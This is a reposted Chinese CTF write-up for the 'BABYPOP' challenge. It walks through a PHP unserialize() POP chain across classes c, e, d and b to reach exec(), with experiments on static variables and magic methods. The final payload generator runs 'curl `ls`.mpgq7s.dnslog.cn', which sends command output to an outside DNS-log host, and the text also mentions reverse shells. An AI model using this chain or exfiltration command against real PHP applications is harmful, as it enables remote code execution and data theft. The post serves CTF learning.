ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

三叶草--BABYPOP

2021-10-28 23:06:31  阅读:286  来源: 互联网

标签:__ function like -- 三叶草 new true public BABYPOP


题目:

<?php
class a {
    public static $Do_u_like_JiaRan = false;
    public static $Do_u_like_AFKL = false;
}

class b {
    private $i_want_2_listen_2_MaoZhongDu;
    public function __toString()
    {
        if (a::$Do_u_like_AFKL) {
            return exec($this->i_want_2_listen_2_MaoZhongDu);
        } else {
            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
        }
    }
}

class c {
    public function __wakeup()
    {
        a::$Do_u_like_JiaRan = true;
    }
}

class d {
    public function __invoke()
    {
        a::$Do_u_like_AFKL = true;
        return "关注嘉然," . $this->value;
    }
}

class e {
    public function __destruct()
    {
        if (a::$Do_u_like_JiaRan) {
            ($this->afkl)();
        } else {
            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
        }
    }
}

if (isset($_GET['data'])) {
    unserialize(base64_decode($_GET['data']));
} else {
    highlight_file(__FILE__);
}

分析:

经过简单的代码审计之后,我们能够得到flag的,只有通过类b的__toString()方法中的这行代码:

return exec($this->i_want_2_listen_2_MaoZhongDu);

(因为exec没有回显,所以我们可以通过反弹shell来得到东西,这里因为我没有公网IP所以就用

curl `执行的命令`.dnslog      来做示范。)

首先i_want_2_listen_2_MaoZhongDu是类b中的变量我们可控,所以exec中的参数我们就可控了,然后要进行exec(),就得使a::$Do_u_like_AFKL为true,然而我们可以看见类a中的两个变量都是flase,注意这两个变量都是静态变量,刚开始我以为静态变量我们可以在反序列化的时候控制,结果发现不行,原因如下:

示例:

1、

<?php
class a{
	public  static $x=false;
	public function monica(){
		if (!a::$x) {
            var_dump($this->x);
        } else {
            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
        }
	}
}
$tt=new a();
$tt->monica();

变量x是静态的并刚开始为false。

结果:

我们可以发现a::$x的值为false,而$this->x为NULL

而当我们增加一个__construct()函数的时候:

<?php
class a{
	public  static $x=false;
	public function __construct(){
		$this->x=true;
	}
	public function monica(){
		if (!a::$x) {
            var_dump($this->x);
        } else {
            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
        }
	}
}
$tt=new a();
$tt->monica();

结果只改变了$this->x的值:

2、

若我们构造一个序列化字符串:

<?php
class a{
	public  static $x=false;
	public function __construct(){
		$this->x=true;
	}
	
}
echo serialize(new a());

结果:O:1:"a":1:{s:1:"x";b:1;}

进行反序列化:

<?php
class a{
	public  static $x=false;
	public function monica(){
		if (!a::$x) {
            var_dump($this->x);
        } else {
            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
        }
	}
}
$tt=unserialize('O:1:"a":1:{s:1:"x";b:1;}');
$tt->monica();

 结果还是只修改了$this->x的值:

说明使用__construct()修改静态变量的值只会修改$this->静态变量的值。而不会影响

类名::静态变量的值。

3、那么我们如何修改类名::静态变量的值呢?

<?php
class a{
	public  static $x=false;
	public function monica(){
		if (!a::$x) {
            var_dump($this->x);
        } else {
            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
        }
	}
}

class b{
	public $x;
	public function __construct(){
		a::$x=true;
		$this->x=new a();
		$this->x->monica();
	}
}

$tt=new b();

 可以发现我们通过实例化b,通过b的__construct()方法将a::$x的值修改为了true、所以在使用$this->monica()方法的时候就进入了else语句。

通过上面的解释,我们知道了不能使用序列化字符串来覆盖类名::静态变量。

全局搜索Do_u_like_JiaRan,发现只有在类c的__wakeup方法中才能使 a::$Do_u_like_JiaRan = true;

知识点:

__wakeup() //将在反序列化之后立即调用

所以我们要序列化的对象一定是类c。

然后我们再回到分析类b的toString()方法

知识点:

__toString(): //当一个对象被当作字符串使用时触发,echo,return一个对象的时候

要想调用toString()方法就必须,找到能够输出类b的地方。最终在类d中发现:

class d {
    public function __invoke()
    {
        a::$Do_u_like_AFKL = true;
        return "关注嘉然," . $this->value;
    }
}

只有我们将$this->value赋值为类b的实例化对象即可。

但我们发现类d中并没有$value这个变量,但其实我们可以自己创建:

示例:

我们先构造一个序列化字符串

<?php
class d {
	public $a='monica';
}

echo serialize(new d());

结果:O:1:"d":1:{s:1:"a";s:6:"monica";}

测试页面:

<?php
class d {
	public function ds(){
		echo $this->a;
	}
}

如果我们之间输出一个类中没有的变量是不会输出东西的 

但是如果我们反序列化了呢?

 成功输入monica!

所以我们就能构造一个序列化字符串,里面的类d中有$value这个变量且他的值为new b()。同时类d的__invoke()方法中还使 a::$Do_u_like_AFKL = true;那么类b中if语句的问题我们也解决了。

其次,要想调用类d的__invoke()方法

知识点:

 __invoke() //当脚本尝试将对象调用为函数时触发

所以我们得找到一个函数执行点,且函数名可控;最终在类e中找到:

class e {
    public function __destruct()
    {
        if (a::$Do_u_like_JiaRan) {
            ($this->afkl)();
        } else {
            throw new Error("Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!");
        }
    }
}

因为我们在类c中使得a::$Do_u_like_JiaRan;所以只要在类e中使$afkl=new d()即可。

最后要将类c和类e连接起来;因为我们可以自己在类中构造变量,所以在类c中构造一个变量,使他的值为new e()即可。

最终的payload:

<?php

class b {
    private $i_want_2_listen_2_MaoZhongDu;
    public function __construct(){
        $this->i_want_2_listen_2_MaoZhongDu='curl `ls`.mpgq7s.dnslog.cn';
    }
    
}

class c {
    public $cvalue;
    public function __construct(){
        $this->cvalue=new e();
    }
    
}

class d {
    public $value;
    public function __construct(){
        $this->value=new b();
    }
   
}

class e {
    public $afkl;
    public function __construct(){
        $this->afkl=new d();
    }
    
}

$a=new c();
echo base64_encode(serialize($a));

结果:

 

标签:__,function,like,--,三叶草,new,true,public,BABYPOP
来源: https://blog.csdn.net/qq_46918279/article/details/121022241

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有